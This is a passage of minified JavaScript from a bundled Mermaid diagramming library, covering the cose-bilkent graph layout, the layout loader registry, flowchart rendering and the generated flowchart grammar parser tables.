A=this.options.eles.nodes(),C=this.options.eles.edges();this.root=k.addRoot(),this.processChildrenList(this.root,this.getTopMostNodes(A),S);for(var R=0;R0){var E;E=b.getGraphManager().add(b.newGraph(),A),this.processChildrenList(E,k,b)}}},m.prototype.stop=function(){return this.stopped=!0,this};var y=o(function(x){x("layout","cose-bilkent",m)},"register");typeof cytoscape<"u"&&y(cytoscape),e.exports=y})])})});function Hqe(t,e){t.forEach(r=>{let n={id:r.id,labelText:r.label,height:r.height,width:r.width,padding:r.padding??0};Object.keys(r).forEach(i=>{["id","label","height","width","padding","x","y"].includes(i)||(n[i]=r[i])}),e.add({group:"nodes",data:n,position:{x:r.x??0,y:r.y??0}})})}function qqe(t,e){t.forEach(r=>{let n={id:r.id,source:r.start,target:r.end};Object.keys(r).forEach(i=>{["id","start","end"].includes(i)||(n[i]=r[i])}),e.add({group:"edges",data:n})})}function Jhe(t){return new Promise(e=>{let r=qe("body").append("div").attr("id","cy").attr("style","display:none"),n=Ko({container:document.getElementById("cy"),style:[{selector:"edge",style:{"curve-style":"bezier"}}]});r.remove(),Hqe(t.nodes,n),qqe(t.edges,n),n.nodes().forEach(function(a){a.layoutDimensions=()=>{let s=a.data();return{w:s.width,h:s.height}}});let i={name:"cose-bilkent",quality:"proof",styleEnabled:!1,animate:!1};n.layout(i).run(),n.ready(a=>{X.info("Cytoscape ready",a),e(n)})})}function efe(t){return t.nodes().map(e=>{let r=e.data(),n=e.position(),i={id:r.id,x:n.x,y:n.y};return Object.keys(r).forEach(a=>{a!=="id"&&(i[a]=r[a])}),i})}function tfe(t){return t.edges().map(e=>{let r=e.data(),n=e._private.rscratch,i={id:r.id,source:r.source,target:r.target,startX:n.startX,startY:n.startY,midX:n.midX,midY:n.midY,endX:n.endX,endY:n.endY};return Object.keys(r).forEach(a=>{["id","source","target"].includes(a)||(i[a]=r[a])}),i})}var Zhe,rfe=N(()=>{"use strict";II();Zhe=ja(Qhe(),1);yr();pt();Ko.use(Zhe.default);o(Hqe,"addNodes");o(qqe,"addEdges");o(Jhe,"createCytoscapeInstance");o(efe,"extractPositionedNodes");o(tfe,"extractPositionedEdges")});async function nfe(t,e){X.debug("Starting cose-bilkent layout algorithm");try{Wqe(t);let r=await Jhe(t),n=efe(r),i=tfe(r);return X.debug(`Layout completed: ${n.length} nodes, ${i.length} edges`),{nodes:n,edges:i}}catch(r){throw X.error("Error in cose-bilkent layout algorithm:",r),r}}function Wqe(t){if(!t)throw new Error("Layout data is required");if(!t.config)throw new Error("Configuration is required in layout data");if(!t.rootNode)throw new Error("Root node is required");if(!t.nodes||!Array.isArray(t.nodes))throw new Error("No nodes found in layout data");if(!Array.isArray(t.edges))throw new Error("Edges array is required in layout data");return!0}var ife=N(()=>{"use strict";pt();rfe();o(nfe,"executeCoseBilkentLayout");o(Wqe,"validateLayoutData")});var afe,sfe=N(()=>{"use strict";ife();afe=o(async(t,e,{insertCluster:r,insertEdge:n,insertEdgeLabel:i,insertMarkers:a,insertNode:s,log:l,positionEdgeLabel:u},{algorithm:h})=>{let f={},d={},p=e.select("g");a(p,t.markers,t.type,t.diagramId);let m=p.insert("g").attr("class","subgraphs"),g=p.insert("g").attr("class","edgePaths"),y=p.insert("g").attr("class","edgeLabels"),v=p.insert("g").attr("class","nodes");l.debug("Inserting nodes into DOM for dimension calculation"),await Promise.all(t.nodes.map(async T=>{if(T.isGroup){let S={...T};d[T.id]=S,f[T.id]=S,await r(m,T)}else{let S={...T};f[T.id]=S;let w=await s(v,T,{config:t.config,dir:t.direction||"TB"}),k=w.node().getBBox();S.width=k.width,S.height=k.height,S.domId=w,l.debug(`Node ${T.id} dimensions: ${k.width}x${k.height}`)}})),l.debug("Running cose-bilkent layout algorithm");let x={...t,nodes:t.nodes.map(T=>{let S=f[T.id];return{...T,width:S.width,height:S.height}})},b=await nfe(x,t.config);l.debug("Positioning nodes based on layout results"),b.nodes.forEach(T=>{let S=f[T.id];S?.domId&&(S.domId.attr("transform",`translate(${T.x}, ${T.y})`),S.x=T.x,S.y=T.y,l.debug(`Positioned node ${S.id} at center (${T.x}, ${T.y})`))}),b.edges.forEach(T=>{let S=t.edges.find(w=>w.id===T.id);S&&(S.points=[{x:T.startX,y:T.startY},{x:T.midX,y:T.midY},{x:T.endX,y:T.endY}])}),l.debug("Inserting and positioning edges"),await Promise.all(t.edges.map(async T=>{let S=await i(y,T),w=f[T.start??""],k=f[T.end??""];if(w&&k){let A=b.edges.find(C=>C.id===T.id);if(A){l.debug("APA01 positionedEdge",A);let C={...T},R=n(g,C,d,t.type,w,k,t.diagramId);u(C,R)}else{let C={...T,points:[{x:w.x||0,y:w.y||0},{x:k.x||0,y:k.y||0}]},R=n(g,C,d,t.type,w,k,t.diagramId);u(C,R)}}})),l.debug("Cose-bilkent rendering completed")},"render")});var ofe={};dr(ofe,{render:()=>Yqe});var Yqe,lfe=N(()=>{"use strict";sfe();Yqe=afe});var Dx,zI,Xqe,Qo,$c,Nf=N(()=>{"use strict";Qte();pt();Dx={},zI=o(t=>{for(let e of t)Dx[e.name]=e},"registerLayoutLoaders"),Xqe=o(()=>{zI([{name:"dagre",loader:o(async()=>await Promise.resolve().then(()=>(Roe(),Loe)),"loader")},{name:"cose-bilkent",loader:o(async()=>await Promise.resolve().then(()=>(lfe(),ofe)),"loader")}])},"registerDefaultLayoutLoaders");Xqe();Qo=o(async(t,e)=>{if(!(t.layoutAlgorithm in Dx))throw new Error(`Unknown layout algorithm: ${t.layoutAlgorithm}`);let r=Dx[t.layoutAlgorithm];return(await r.loader()).render(t,e,Kte,{algorithm:r.algorithm})},"render"),$c=o((t="",{fallback:e="dagre"}={})=>{if(t in Dx)return t;if(e in Dx)return X.warn(`Layout algorithm ${t} is not registered. Using ${e} as fallback.`),e;throw new Error(`Both layout algorithms ${t} and ${e} are not registered.`)},"getRegisteredLayoutAlgorithm")});var Ws,jqe,Kqe,Mf=N(()=>{"use strict";Ei();pt();Ws=o((t,e,r,n)=>{t.attr("class",r);let{width:i,height:a,x:s,y:l}=jqe(t,e);mn(t,a,i,n);let u=Kqe(s,l,i,a,e);t.attr("viewBox",u),X.debug(`viewBox configured: ${u} with padding: ${e}`)},"setupViewPortForSVG"),jqe=o((t,e)=>{let r=t.node()?.getBBox()||{width:0,height:0,x:0,y:0};return{width:r.width+e*2,height:r.height+e*2,x:r.x,y:r.y}},"calculateDimensionsWithPadding"),Kqe=o((t,e,r,n,i)=>`${t-i} ${e-i} ${r} ${n}`,"createViewBox")});var Qqe,Zqe,cfe,ufe=N(()=>{"use strict";yr();Xt();pt();ep();Nf();Mf();tr();Qqe=o(function(t,e){return e.db.getClasses()},"getClasses"),Zqe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing state diagram (v2)",e);let{securityLevel:i,flowchart:a,layout:s}=ge(),l;i==="sandbox"&&(l=qe("#i"+e));let u=i==="sandbox"?l.nodes()[0].contentDocument:document;X.debug("Before getData: ");let h=n.db.getData();X.debug("Data: ",h);let f=Vo(e,i),d=n.db.getDirection();h.type=n.type,h.layoutAlgorithm=$c(s),h.layoutAlgorithm==="dagre"&&s==="elk"&&X.warn("flowchart-elk was moved to an external package in Mermaid v11. Please refer [release notes](https://github.com/mermaid-js/mermaid/releases/tag/v11.0.0) for more details. This diagram will be rendered using `dagre` layout as a fallback."),h.direction=d,h.nodeSpacing=a?.nodeSpacing||50,h.rankSpacing=a?.rankSpacing||50,h.markers=["point","circle","cross"],h.diagramId=e,X.debug("REF1:",h),await Qo(h,f);let p=h.config.flowchart?.diagramPadding??8;qt.insertTitle(f,"flowchartTitleText",a?.titleTopMargin||0,n.db.getDiagramTitle()),Ws(f,p,"flowchart",a?.useMaxWidth||!1);for(let m of h.nodes){let g=qe(`#${e} [id="${m.id}"]`);if(!g||!m.link)continue;let y=u.createElementNS("http://www.w3.org/2000/svg","a");y.setAttributeNS("http://www.w3.org/2000/svg","class",m.cssClasses),y.setAttributeNS("http://www.w3.org/2000/svg","rel","noopener"),i==="sandbox"?y.setAttributeNS("http://www.w3.org/2000/svg","target","_top"):m.linkTarget&&y.setAttributeNS("http://www.w3.org/2000/svg","target",m.linkTarget);let v=g.insert(function(){return y},":first-child"),x=g.select(".label-container");x&&v.append(function(){return x.node()});let b=g.select(".label");b&&v.append(function(){return b.node()})}},"draw"),cfe={getClasses:Qqe,draw:Zqe}});var GI,VI,hfe=N(()=>{"use strict";GI=(function(){var t=o(function(fr,it,kt,jt){for(kt=kt||{},jt=fr.length;jt--;kt[fr[jt]]=it);return kt},"o"),e=[1,4],r=[1,3],n=[1,5],i=[1,8,9,10,11,27,34,36,38,44,60,84,85,86,87,88,89,102,105,106,109,111,114,115,116,121,122,123,124],a=[2,2],s=[1,13],l=[1,14],u=[1,15],h=[1,16],f=[1,23],d=[1,25],p=[1,26],m=[1,27],g=[1,49],y=[1,48],v=[1,29],x=[1,30],b=[1,31],T=[1,32],S=[1,33],w=[1,44],k=[1,46],A=[1,42],C=[1,47],R=[1,43],I=[1,50],L=[1,45],E=[1,51],D=[1,52],_=[1,34],O=[1,35],M=[1,36],P=[1,37],B=[1,57],F=[1,8,9,10,11,27,32,34,36,38,44,60,84,85,86,87,88,89,102,105,106,109,111,114,115,116,121,122,123,124],G=[1,61],$=[1,60],U=[1,62],j=[8,9,11,75,77,78],te=[1,78],Y=[1,91],oe=[1,96],J=[1,95],ue=[1,92],re=[1,88],ee=[1,94],Z=[1,90],K=[1,97],ae=[1,93],Q=[1,98],de=[1,89],ne=[8,9,10,11,40,75,77,78],Te=[8,9,10,11,40,46,75,77,78],q=[8,9,10,11,29,40,44,46,48,50,52,54,56,58,60,63,65,67,68,70,75,77,78,89,102,105,106,109,111,114,115,116],Ve=[8,9,11,44,60,75,77,78,89,102,105,106,109,111,114,115,116],pe=[44,60,89,102,105,106,109,111,114,115,116],Be=[1,121],Ye=[1,122],He=[1,124],Le=[1,123],Ie=[44,60,62,74,89,102,105,106,109,111,114,115,116],Ne=[1,133],Ce=[1,147],Fe=[1,148],fe=[1,149],xe=[1,150],W=[1,135],he=[1,137],z=[1,141],se=[1,142],le=[1,143],ke=[1,144],ve=[1,145],ye=[1,146],Re=[1,151],_e=[1,152],ze=[1,131],Ke=[1,132],xt=[1,139],We=[1,134],Oe=[1,138],et=[1,136],Ue=[8,9,10,11,27,32,34,36,38,44,60,84,85,86,87,88,89,102,105,106,109,111,114,115,116,121,122,123,124],lt=[1,154],Gt=[1,156],vt=[8,9,11],Lt=[8,9,10,11,14,44,60,89,105,106,109,111,114,115,116],dt=[1,176],nt=[1,172],bt=[1,173],wt=[1,177],yt=[1,174],ft=[1,175],Ur=[77,116,119],_t=[8,9,10,11,12,14,27,29,32,44,60,75,84,85,86,87,88,89,90,105,109,111,114,115,116],bn=[10,106],Br=[31,49,51,53,55,57,62,64,66,67,69,71,116,117,118],cr=[1,247],ar=[1,245],_r=[1,249],Ct=[1,243],Se=[1,244],at=[1,246],Nt=[1,248],wr=[1,250],Tn=[1,268],yn=[8,9,11,106],sn=[8,9,10,11,60,84,105,106,109,110,111,112],Hi={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,graphConfig:4,document:5,line:6,statement:7,SEMI:8,NEWLINE:9,SPACE:10,EOF:11,GRAPH:12,NODIR:13,DIR:14,FirstStmtSeparator:15,ending:16,endToken:17,spaceList:18,spaceListNewline:19,vertexStatement:20,separator:21,styleStatement:22,linkStyleStatement:23,classDefStatement:24,classStatement:25,clickStatement:26,subgraph:27,textNoTags:28,SQS:29,text:30,SQE:31,end:32,direction:33,acc_title:34,acc_title_value:35,acc_descr:36,acc_descr_value:37,acc_descr_multiline_value:38,shapeData:39,SHAPE_DATA:40,link:41,node:42,styledVertex:43,AMP:44,vertex:45,STYLE_SEPARATOR:46,idString:47,DOUBLECIRCLESTART:48,DOUBLECIRCLEEND:49,PS:50,PE:51,"(-":52,"-)":53,STADIUMSTART:54,STADIUMEND:55,SUBROUTINESTART:56,SUBROUTINEEND:57,VERTEX_WITH_PROPS_START:58,"NODE_STRING[field]":59,COLON:60,"NODE_STRING[value]":61,PIPE:62,CYLINDERSTART:63,CYLINDEREND:64,DIAMOND_START:65,DIAMOND_STOP:66,TAGEND:67,TRAPSTART:68,TRAPEND:69,INVTRAPSTART:70,INVTRAPEND:71,linkStatement:72,arrowText:73,TESTSTR:74,START_LINK:75,edgeText:76,LINK:77,LINK_ID:78,edgeTextToken:79,STR:80,MD_STR:81,textToken:82,keywords:83,STYLE:84,LINKSTYLE:85,CLASSDEF:86,CLASS:87,CLICK:88,DOWN:89,UP:90,textNoTagsToken:91,stylesOpt:92,"idString[vertex]":93,"idString[class]":94,CALLBACKNAME:95,CALLBACKARGS:96,HREF:97,LINK_TARGET:98,"STR[link]":99,"STR[tooltip]":100,alphaNum:101,DEFAULT:102,numList:103,INTERPOLATE:104,NUM:105,COMMA:106,style:107,styleComponent:108,NODE_STRING:109,UNIT:110,BRKT:111,PCT:112,idStringToken:113,MINUS:114,MULT:115,UNICODE_TEXT:116,TEXT:117,TAGSTART:118,EDGE_TEXT:119,alphaNumToken:120,direction_tb:121,direction_bt:122,direction_rl:123,direction_lr:124,$accept:0,$end:1},terminals_:{2:"error",8:"SEMI",9:"NEWLINE",10:"SPACE",11:"EOF",12:"GRAPH",13:"NODIR",14:"DIR",27:"subgraph",29:"SQS",31:"SQE",32:"end",34:"acc_title",35:"acc_title_value",36:"acc_descr",37:"acc_descr_value",38:"acc_descr_multiline_value",40:"SHAPE_DATA",44:"AMP",46:"STYLE_SEPARATOR",48:"DOUBLECIRCLESTART",49:"DOUBLECIRCLEEND",50:"PS",51:"PE",52:"(-",53:"-)",54:"STADIUMSTART",55:"STADIUMEND",56:"SUBROUTINESTART",57:"SUBROUTINEEND",58:"VERTEX_WITH_PROPS_START",59:"NODE_STRING[field]",60:"COLON",61:"NODE_STRING[value]",62:"PIPE",63:"CYLINDERSTART",64:"CYLINDEREND",65:"DIAMOND_START",66:"DIAMOND_STOP",67:"TAGEND",68:"TRAPSTART",69:"TRAPEND",70:"INVTRAPSTART",71:"INVTRAPEND",74:"TESTSTR",75:"START_LINK",77:"LINK",78:"LINK_ID",80:"STR",81:"MD_STR",84:"STYLE",85:"LINKSTYLE",86:"CLASSDEF",87:"CLASS",88:"CLICK",89:"DOWN",90:"UP",93:"idString[vertex]",94:"idString[class]",95:"CALLBACKNAME",96:"CALLBACKARGS",97:"HREF",98:"LINK_TARGET",99:"STR[link]",100:"STR[tooltip]",102:"DEFAULT",104:"INTERPOLATE",105:"NUM",106:"COMMA",109:"NODE_STRING",110:"UNIT",111:"BRKT",112:"PCT",114:"MINUS",115:"MULT",116:"UNICODE_TEXT",117:"TEXT",118:"TAGSTART",119:"EDGE_TEXT",121:"direction_tb",122:"direction_bt",123:"direction_rl",124:"direction_lr"},productions_:[0,[3,2],[5,0],[5,2],[6,1],[6,1],[6,1],[6,1],[6,1],[4,2],[4,2],[4,2],[4,3],[16,2],[16,1],[17,1],[17,1],[17,1],[15,1],[15,1],[15,2],[19,2],[19,2],[19,1],[19,1],[18,2],[18,1],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,9],[7,6],[7,4],[7,1],[7,2],[7,2],[7,1],[21,1],[21,1],[21,1],[39,2],[39,1],[20,4],[20,3],[20,4],[20,2],[20,2],[20,1],[42,1],[42,6],[42,5],[43,1],[43,3],[45,4],[45,4],[45,6],[45,4],[45,4],[45,4],[45,8],[45,4],[45,4],[45,4],[45,6],[45,4],[45,4],[45,4],[45,4],[45,4],[45,1],[41,2],[41,3],[41,3],[41,1],[41,3],[41,4],[76,1],[76,2],[76,1],[76,1],[72,1],[72,2],[73,3],[30,1],[30,2],[30,1],[30,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[83,1],[28,1],[28,2],[28,1],[28,1],[24,5],[25,5],[26,2],[26,4],[26,3],[26,5],[26,3],[26,5],[26,5],[26,7],[26,2],[26,4],[26,2],[26,4],[26,4],[26,6],[22,5],[23,5],[23,5],[23,9],[23,9],[23,7],[23,7],[103,1],[103,3],[92,1],[92,3],[107,1],[107,2],[108,1],[108,1],[108,1],[108,1],[108,1],[108,1],[108,1],[108,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[113,1],[82,1],[82,1],[82,1],[82,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[91,1],[79,1],[79,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[120,1],[47,1],[47,2],[101,1],[101,2],[33,1],[33,1],[33,1],[33,1]],performAction:o(function(it,kt,jt,ht,Dr,me,Yl){var be=me.length-1;switch(Dr){case 2:this.$=[];break;case 3:(!Array.isArray(me[be])||me[be].length>0)&&me[be-1].push(me[be]),this.$=me[be-1];break;case 4:case 183:this.$=me[be];break;case 11:ht.setDirection("TB"),this.$="TB";break;case 12:ht.setDirection(me[be-1]),this.$=me[be-1];break;case 27:this.$=me[be-1].nodes;break;case 28:case 29:case 30:case 31:case 32:this.$=[];break;case 33:this.$=ht.addSubGraph(me[be-6],me[be-1],me[be-4]);break;case 34:this.$=ht.addSubGraph(me[be-3],me[be-1],me[be-3]);break;case 35:this.$=ht.addSubGraph(void 0,me[be-1],void 0);break;case 37:this.$=me[be].trim(),ht.setAccTitle(this.$);break;case 38:case 39:this.$=me[be].trim(),ht.setAccDescription(this.$);break;case 43:this.$=me[be-1]+me[be];break;case 44:this.$=me[be];break;case 45:ht.addVertex(me[be-1][me[be-1].length-1],void 0,void 0,void 0,void 0,void 0,void 0,me[be]),ht.addLink(me[be-3].stmt,me[be-1],me[be-2]),this.$={stmt:me[be-1],nodes:me[be-1].concat(me[be-3].nodes)};break;case 46:ht.addLink(me[be-2].stmt,me[be],me[be-1]),this.$={stmt:me[be],nodes:me[be].concat(me[be-2].nodes)};break;case 47:ht.addLink(me[be-3].stmt,me[be-1],me[be-2]),this.$={stmt:me[be-1],nodes:me[be-1].concat(me[be-3].nodes)};break;case 48:this.$={stmt:me[be-1],nodes:me[be-1]};break;case 49:ht.addVertex(me[be-1][me[be-1].length-1],void 0,void 0,void 0,void 0,void 0,void 0,me[be]),this.$={stmt:me[be-1],nodes:me[be-1],shapeData:me[be]};break;case 50:this.$={stmt:me[be],nodes:me[be]};break;case 51:this.$=[me[be]];break;case 52:ht.addVertex(me[be-5][me[be-5].length-1],void 0,void 0,void 0,void 0,void 0,void 0,me[be-4]),this.$=me[be-5].concat(me[be]);break;case 53:this.$=me[be-4].concat(me[be]);break;case 54:this.$=me[be];break;case 55:this.$=me[be-2],ht.setClass(me[be-2],me[be]);break;case 56:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"square");break;case 57:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"doublecircle");break;case 58:this.$=me[be-5],ht.addVertex(me[be-5],me[be-2],"circle");break;case 59:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"ellipse");break;case 60:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"stadium");break;case 61:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"subroutine");break;case 62:this.$=me[be-7],ht.addVertex(me[be-7],me[be-1],"rect",void 0,void 0,void 0,Object.fromEntries([[me[be-5],me[be-3]]]));break;case 63:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"cylinder");break;case 64:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"round");break;case 65:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"diamond");break;case 66:this.$=me[be-5],ht.addVertex(me[be-5],me[be-2],"hexagon");break;case 67:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"odd");break;case 68:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"trapezoid");break;case 69:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"inv_trapezoid");break;case 70:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"lean_right");break;case 71:this.$=me[be-3],ht.addVertex(me[be-3],me[be-1],"lean_left");break;case 72:this.$=me[be],ht.addVertex(me[be]);break;case 73:me[be-1].text=me[be],this.$=me[be-1];break;case 74:case 75:me[be-2].text=me[be-1],this.$=me[be-2];break;case 76:this.$=me[be];break;case 77:var jr=ht.destructLink(me[be],me[be-2]);this.$={type:jr.type,stroke:jr.stroke,length:jr.length,text:me[be-1]};break;case 78:var jr=ht.destructLink(me[be],me[be-2]);this.$={type:jr.type,stroke:jr.stroke,length:jr.length,text:me[be-1],id:me[be-3]};break;case 79:this.$={text:me[be],type:"text"};break;case 80:this.$={text:me[be-1].text+""+me[be],type:me[be-1].type};break;case 81:this.$={text:me[be],type:"string"};break;case 82:this.$={text:me[be],type:"markdown"};break;case 83:var jr=ht.destructLink(me[be]);this.$={type:jr.type,stroke:jr.stroke,length:jr.length};break;case 84:var jr=ht.destructLink(me[be]);this.$={type:jr.type,stroke:jr.stroke,length:jr.length,id:me[be-1]};break;case 85:this.$=me[be-1];break;case 86:this.$={text:me[be],type:"text"};break;case 87:this.$={text:me[be-1].text+""+me[be],type:me[be-1].type};break;case 88:this.$={text:me[be],type:"string"};break;case 89:case 104:this.$={text:me[be],type:"markdown"};break;case 101:this.$={text:me[be],type:"text"};break;case 102:this.$={text:me[be-1].text+""+me[be],type:me[be-1].type};break;case 103:this.$={text:me[be],type:"text"};break;case 105:this.$=me[be-4],ht.addClass(me[be-2],me[be]);break;case 106:this.$=me[be-4],ht.setClass(me[be-2],me[be]);break;case 107:case 115:this.$=me[be-1],ht.setClickEvent(me[be-1],me[be]);break;case 108:case 116:this.$=me[be-3],ht.setClickEvent(me[be-3],me[be-2]),ht.setTooltip(me[be-3],me[be]);break;case 109:this.$=me[be-2],ht.setClickEvent(me[be-2],me[be-1],me[be]);break;case 110:this.$=me[be-4],ht.setClickEvent(me[be-4],me[be-3],me[be-2]),ht.setTooltip(me[be-4],me[be]);break;case 111:this.$=me[be-2],ht.setLink(me[be-2],me[be]);break;case 112:this.$=me[be-4],ht.setLink(me[be-4],me[be-2]),ht.setTooltip(me[be-4],me[be]);break;case 113:this.$=me[be-4],ht.setLink(me[be-4],me[be-2],me[be]);break;case 114:this.$=me[be-6],ht.setLink(me[be-6],me[be-4],me[be]),ht.setTooltip(me[be-6],me[be-2]);break;case 117:this.$=me[be-1],ht.setLink(me[be-1],me[be]);break;case 118:this.$=me[be-3],ht.setLink(me[be-3],me[be-2]),ht.setTooltip(me[be-3],me[be]);break;case 119:this.$=me[be-3],ht.setLink(me[be-3],me[be-2],me[be]);break;case 120:this.$=me[be-5],ht.setLink(me[be-5],me[be-4],me[be]),ht.setTooltip(me[be-5],me[be-2]);break;case 121:this.$=me[be-4],ht.addVertex(me[be-2],void 0,void 0,me[be]);break;case 122:this.$=me[be-4],ht.updateLink([me[be-2]],me[be]);break;case 123:this.$=me[be-4],ht.updateLink(me[be-2],me[be]);break;case 124:this.$=me[be-8],ht.updateLinkInterpolate([me[be-6]],me[be-2]),ht.updateLink([me[be-6]],me[be]);break;case 125:this.$=me[be-8],ht.updateLinkInterpolate(me[be-6],me[be-2]),ht.updateLink(me[be-6],me[be]);break;case 126:this.$=me[be-6],ht.updateLinkInterpolate([me[be-4]],me[be]);break;case 127:this.$=me[be-6],ht.updateLinkInterpolate(me[be-4],me[be]);break;case 128:case 130:this.$=[me[be]];break;case 129:case 131:me[be-2].push(me[be]),this.$=me[be-2];break;case 133:this.$=me[be-1]+me[be];break;case 181:this.$=me[be];break;case 182:this.$=me[be-1]+""+me[be];break;case 184:this.$=me[be-1]+""+me[be];break;case 185:this.$={stmt:"dir",value:"TB"};break;case 186:this.$={stmt:"dir",value:"BT"};break;case 187:this.$={stmt:"dir",value:"RL"};break;case 188:this.$={stmt:"dir",value:"LR"};break}},"anonymous"),table:[{3:1,4:2,9:e,10:r,12:n},{1:[3]},t(i,a,{5:6}),{4:7,9:e,10:r,12:n},{4:8,9:e,10:r,12:n},{13:[1,9],14:[1,10]},{1:[2,1],6:11,7:12,8:s,9:l,10:u,11:h,20:17,22:18,23:19,24:20,25:21,26:22,27:f,33:24,34:d,36:p,38:m,42:28,43:38,44:g,45:39,47:40,60:y,84:v,85:x,86:b,87:T,88:S,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D,121:_,122:O,123:M,124:P},t(i,[2,9]),t(i,[2,10]),t(i,[2,11]),{8:[1,54],9:[1,55],10:B,15:53,18:56},t(F,[2,3]),t(F,[2,4]),t(F,[2,5]),t(F,[2,6]),t(F,[2,7]),t(F,[2,8]),{8:G,9:$,11:U,21:58,41:59,72:63,75:[1,64],77:[1,66],78:[1,65]},{8:G,9:$,11:U,21:67},{8:G,9:$,11:U,21:68},{8:G,9:$,11:U,21:69},{8:G,9:$,11:U,21:70},{8:G,9:$,11:U,21:71},{8:G,9:$,10:[1,72],11:U,21:73},t(F,[2,36]),{35:[1,74]},{37:[1,75]},t(F,[2,39]),t(j,[2,50],{18:76,39:77,10:B,40:te}),{10:[1,79]},{10:[1,80]},{10:[1,81]},{10:[1,82]},{14:Y,44:oe,60:J,80:[1,86],89:ue,95:[1,83],97:[1,84],101:85,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de,120:87},t(F,[2,185]),t(F,[2,186]),t(F,[2,187]),t(F,[2,188]),t(ne,[2,51]),t(ne,[2,54],{46:[1,99]}),t(Te,[2,72],{113:112,29:[1,100],44:g,48:[1,101],50:[1,102],52:[1,103],54:[1,104],56:[1,105],58:[1,106],60:y,63:[1,107],65:[1,108],67:[1,109],68:[1,110],70:[1,111],89:w,102:k,105:A,106:C,109:R,111:I,114:L,115:E,116:D}),t(q,[2,181]),t(q,[2,142]),t(q,[2,143]),t(q,[2,144]),t(q,[2,145]),t(q,[2,146]),t(q,[2,147]),t(q,[2,148]),t(q,[2,149]),t(q,[2,150]),t(q,[2,151]),t(q,[2,152]),t(i,[2,12]),t(i,[2,18]),t(i,[2,19]),{9:[1,113]},t(Ve,[2,26],{18:114,10:B}),t(F,[2,27]),{42:115,43:38,44:g,45:39,47:40,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},t(F,[2,40]),t(F,[2,41]),t(F,[2,42]),t(pe,[2,76],{73:116,62:[1,118],74:[1,117]}),{76:119,79:120,80:Be,81:Ye,116:He,119:Le},{75:[1,125],77:[1,126]},t(Ie,[2,83]),t(F,[2,28]),t(F,[2,29]),t(F,[2,30]),t(F,[2,31]),t(F,[2,32]),{10:Ne,12:Ce,14:Fe,27:fe,28:127,32:xe,44:W,60:he,75:z,80:[1,129],81:[1,130],83:140,84:se,85:le,86:ke,87:ve,88:ye,89:Re,90:_e,91:128,105:ze,109:Ke,111:xt,114:We,115:Oe,116:et},t(Ue,a,{5:153}),t(F,[2,37]),t(F,[2,38]),t(j,[2,48],{44:lt}),t(j,[2,49],{18:155,10:B,40:Gt}),t(ne,[2,44]),{44:g,47:157,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},{102:[1,158],103:159,105:[1,160]},{44:g,47:161,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},{44:g,47:162,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},t(vt,[2,107],{10:[1,163],96:[1,164]}),{80:[1,165]},t(vt,[2,115],{120:167,10:[1,166],14:Y,44:oe,60:J,89:ue,105:re,106:ee,109:Z,111:K,114:ae,115:Q,116:de}),t(vt,[2,117],{10:[1,168]}),t(Lt,[2,183]),t(Lt,[2,170]),t(Lt,[2,171]),t(Lt,[2,172]),t(Lt,[2,173]),t(Lt,[2,174]),t(Lt,[2,175]),t(Lt,[2,176]),t(Lt,[2,177]),t(Lt,[2,178]),t(Lt,[2,179]),t(Lt,[2,180]),{44:g,47:169,60:y,89:w,102:k,105:A,106:C,109:R,111:I,113:41,114:L,115:E,116:D},{30:170,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:178,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:180,50:[1,179],67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:181,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:182,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:183,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{109:[1,184]},{30:185,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:186,65:[1,187],67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:188,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:189,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{30:190,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},t(q,[2,182]),t(i,[2,20]),t(Ve,[2,25]),t(j,[2,46],{39:191,18:192,10:B,40:te}),t(pe,[2,73],{10:[1,193]}),{10:[1,194]},{30:195,67:dt,80:nt,81:bt,82:171,116:wt,117:yt,118:ft},{77:[1,196],79:197,116:He,119:Le},t(Ur,[2,79]),t(Ur,[2,81]),t(Ur,[2,82]),t(Ur,[2,168]),t(Ur,[2,169]),{76:198,79:120,80:Be,81:Ye,116:He,119:Le},t(Ie,[2,84]),{8:G,9:$,10:Ne,11:U,12:Ce,14:Fe,21:200,27:fe,29:[1,199],32:xe,44:W,60:he,75:z,83:140,84:se,85:le,86:ke,87:ve,88:ye,89:Re,90:_e,91:201,105:ze,109:Ke,111:xt,114:We,115:Oe,116:et},t(_t,[2,101]),t(